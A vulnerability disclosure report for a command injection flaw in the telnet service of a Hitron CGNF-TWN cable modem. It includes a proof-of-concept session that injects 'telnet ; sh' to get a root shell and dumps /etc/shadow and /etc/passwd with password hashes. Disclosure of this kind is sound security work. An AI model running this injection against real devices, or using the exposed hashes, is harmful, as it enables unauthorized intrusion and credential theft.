MITRE - Hitron CGNF-TWN Command Injection Report.md

MITRE - Hitron CGNF-TWN Command Injection Report.md

Affected component(s)

• Vendor: Hitron
• Product: CGNF-TWN Cable Modem
• Version: 3.1.1.43-TWN-pre3

Attack vector(s)

This vulnerability can be exploited remotely via the telnet service, which is accessible from external networks.

Suggested description of the vulnerability for use in the CVE

The Hitron CGNF-TWN cable modem with software version 3.1.1.43-TWN-pre3 contains a command injection vulnerability in its telnet service. The issue arises due to improper input validation within the telnet command handling mechanism. An attacker can exploit this vulnerability by injecting arbitrary commands through the telnet interface when prompted for inputs or commands. Successful exploitation could lead to remote code execution (RCE) under the privileges of the telnet user, potentially allowing unauthorized access to system settings and sensitive information.

PoC

telnet 119.<REDACTED>

Trying 119.<REDACTED>...
Connected to 119.<REDACTED>.
Escape character is '^]'.
CGNF-TWN login: msoadmin
Password:
help Display menu commands
MAIN> version
Version Information:
Model Name   - CGNF-TWN
Software     - 3.1.1.43-TWN-pre3, Date: 11:25:50 Jun 13 2019
Hardware     - 1B
Boot LDR     - PSPU-Boot 1.0.16.22-H2.9.3-AP
CHIP_ID      - PUMA5
RTOS_VER     - 2.6.18
Image ID     - 000D3212
Serial Number - 250164042371
MAIN>
MAIN> telnet ; sh
BusyBox v1.15.2 (2019-06-13 10:54:24 CST) multi-call binary

Usage: telnet [-a] [-l USER] HOST [PORT]

BusyBox v1.15.2 (2019-06-13 10:54:24 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # hostname
CGNF-TWN
~ # cat /etc/shadow
root::10063:0:99999:7:::
~ # cat /etc/passwd
app:$1$/w1tlbIY$H26LIIHnxGLYnTZdyXd9i0:0:0:Default Admin:/:/bin/sh
msoadmin:$1$/w1tlbIY$xvV8wpWrhcT0qfZLHPv6f0:0:100:System Admin:/:/usr/sbin/login_cli.sh
admin:$1$/w1tlbIY$4EYICWlYgi4XClAKSNgMG0:0:101:Customer Admin:/:/usr/sbin/login_cli.sh
nobody:$1$/w1tlbIY$TTPtj2lxdlHmHg5R2PLsX0:0:1001:Customer Admin:/:/usr/sbin/login_cli.sh
~ # exit

Credit

Chiao-Lin Yu (Steven Meow)